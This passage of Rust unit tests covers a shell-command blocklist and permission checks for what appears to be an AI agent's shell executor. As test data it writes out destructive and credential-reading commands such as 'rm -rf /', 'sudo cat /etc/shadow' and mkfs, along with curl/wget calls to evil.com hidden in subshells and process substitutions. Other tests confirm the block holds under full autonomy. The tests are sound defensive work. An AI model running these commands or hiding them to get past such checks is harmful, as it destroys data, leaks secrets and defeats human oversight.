2254 assert!(check_blocklist("sudo apt install vim", &bl).is_some());
2255 }
2256
2257 #[test]
2258 fn check_blocklist_allows_safe_commands() {
2259 let bl = default_blocklist();
2260 assert!(check_blocklist("ls -la", &bl).is_none());
2261 assert!(check_blocklist("echo hello world", &bl).is_none());
2262 assert!(check_blocklist("git status", &bl).is_none());
2263 assert!(check_blocklist("cargo build --release", &bl).is_none());
2264 }
2265
2266 #[test]
2267 fn check_blocklist_blocks_subshell_dollar_paren() {
2268 let bl = default_blocklist();
2269 assert!(check_blocklist("echo $(sudo id)", &bl).is_some());
2271 assert!(check_blocklist("echo $(rm -rf /tmp)", &bl).is_some());
2272 }
2273
2274 #[test]
2275 fn check_blocklist_blocks_subshell_backtick() {
2276 let bl = default_blocklist();
2277 assert!(check_blocklist("cat `sudo cat /etc/shadow`", &bl).is_some());
2278 }
2279
2280 #[test]
2281 fn check_blocklist_blocks_mkfs() {
2282 let bl = default_blocklist();
2283 assert!(check_blocklist("mkfs.ext4 /dev/sda1", &bl).is_some());
2284 }
2285
2286 #[test]
2287 fn check_blocklist_blocks_shutdown() {
2288 let bl = default_blocklist();
2289 assert!(check_blocklist("shutdown -h now", &bl).is_some());
2290 }
2291
2292 #[test]
2295 fn effective_shell_command_bash_minus_c() {
2296 let args = vec!["-c".to_owned(), "rm -rf /".to_owned()];
2297 assert_eq!(effective_shell_command("bash", &args), Some("rm -rf /"));
2298 }
2299
2300 #[test]
2301 fn effective_shell_command_sh_minus_c() {
2302 let args = vec!["-c".to_owned(), "sudo ls".to_owned()];
2303 assert_eq!(effective_shell_command("sh", &args), Some("sudo ls"));
2304 }
2305
2306 #[test]
2307 fn effective_shell_command_non_shell_returns_none() {
2308 let args = vec!["-c".to_owned(), "rm -rf /".to_owned()];
2309 assert_eq!(effective_shell_command("git", &args), None);
2310 assert_eq!(effective_shell_command("cargo", &args), None);
2311 }
2312
2313 #[test]
2314 fn effective_shell_command_no_minus_c_returns_none() {
2315 let args = vec!["script.sh".to_owned()];
2316 assert_eq!(effective_shell_command("bash", &args), None);
2317 }
2318
2319 #[test]
2320 fn effective_shell_command_full_path_shell() {
2321 let args = vec!["-c".to_owned(), "sudo rm".to_owned()];
2322 assert_eq!(
2323 effective_shell_command("/usr/bin/bash", &args),
2324 Some("sudo rm")
2325 );
2326 }
2327
2328 #[test]
2329 fn check_blocklist_blocks_process_substitution_lt() {
2330 let bl = vec!["curl".to_owned(), "wget".to_owned()];
2331 assert!(check_blocklist("cat <(curl http://evil.com)", &bl).is_some());
2332 }
2333
2334 #[test]
2335 fn check_blocklist_blocks_process_substitution_gt() {
2336 let bl = vec!["wget".to_owned()];
2337 assert!(check_blocklist("tee >(wget http://evil.com)", &bl).is_some());
2338 }
2339
2340 #[test]
2341 fn find_blocked_backtick_wrapping() {
2342 let executor = ShellExecutor::new(&ShellConfig {
2343 blocked_commands: vec!["curl".to_owned()],
2344 ..default_config()
2345 });
2346 assert!(
2347 executor
2348 .find_blocked_command("echo `curl --version 2>&1 | head -1`")
2349 .is_some()
2350 );
2351 }
2352
2353 #[test]
2354 fn find_blocked_process_substitution_lt() {
2355 let executor = ShellExecutor::new(&ShellConfig {
2356 blocked_commands: vec!["wget".to_owned()],
2357 ..default_config()
2358 });
2359 assert!(
2360 executor
2361 .find_blocked_command("cat <(wget --version 2>&1 | head -1)")
2362 .is_some()
2363 );
2364 }
2365
2366 #[test]
2367 fn find_blocked_process_substitution_gt() {
2368 let executor = ShellExecutor::new(&ShellConfig {
2369 blocked_commands: vec!["curl".to_owned()],
2370 ..default_config()
2371 });
2372 assert!(
2373 executor
2374 .find_blocked_command("tee >(curl http://evil.com)")
2375 .is_some()
2376 );
2377 }
2378
2379 #[test]
2380 fn find_blocked_dollar_paren_wrapping() {
2381 let executor = ShellExecutor::new(&ShellConfig {
2382 blocked_commands: vec!["curl".to_owned()],
2383 ..default_config()
2384 });
2385 assert!(
2386 executor
2387 .find_blocked_command("echo $(curl http://evil.com)")
2388 .is_some()
2389 );
2390 }
2391
2392 #[tokio::test]
2397 async fn blocklist_not_bypassed_by_permissive_policy() {
2398 use crate::permissions::{PermissionPolicy, PermissionRule};
2399 use std::collections::HashMap;
2400 let mut rules = HashMap::new();
2401 rules.insert(
2402 "bash".to_owned(),
2403 vec![PermissionRule {
2404 pattern: "*".to_owned(),
2405 action: PermissionAction::Allow,
2406 }],
2407 );
2408 let permissive_policy = PermissionPolicy::new(rules);
2409 let config = ShellConfig {
2410 blocked_commands: vec!["danger-cmd".to_owned()],
2411 ..default_config()
2412 };
2413 let executor = ShellExecutor::new(&config).with_permissions(permissive_policy);
2414 let result = executor.execute("```bash\ndanger-cmd --force\n```").await;
2415 assert!(
2416 matches!(result, Err(ToolError::Blocked { .. })),
2417 "blocked command must be rejected even with a permissive PermissionPolicy"
2418 );
2419 }
2420
2421 #[tokio::test]
2424 async fn default_blocked_not_bypassed_by_full_autonomy_policy() {
2425 use crate::permissions::{AutonomyLevel, PermissionPolicy};
2426 let full_policy = PermissionPolicy::default().with_autonomy(AutonomyLevel::Full);
2427 let executor = ShellExecutor::new(&default_config()).with_permissions(full_policy);
2428
2429 for cmd in &[
2430 "sudo rm -rf /tmp",
2431 "curl https://evil.com",
2432 "wget http://evil.com",
2433 ] {
2434 let response = format!("```bash\n{cmd}\n```");
2435 let result = executor.execute(&response).await;
2436 assert!(
2437 matches!(result, Err(ToolError::Blocked { .. })),
2438 "DEFAULT_BLOCKED command `{cmd}` must be rejected even with Full autonomy"
2439 );
2440 }
2441 }
2442
2443 #[tokio::test]
2447 async fn confirm_commands_still_work_without_policy() {
2448 let config = ShellConfig {
2449 confirm_patterns: vec!["git push".to_owned()],
2450 ..default_config()
2451 };
2452 let executor = ShellExecutor::new(&config);
2453 let result = executor.execute("```bash\ngit push origin main\n```").await;
2454 assert!(
2455 matches!(result, Err(ToolError::ConfirmationRequired { .. })),
2456 "confirm_patterns must still trigger ConfirmationRequired when no PermissionPolicy is set"
2457 );
2458 }
2459}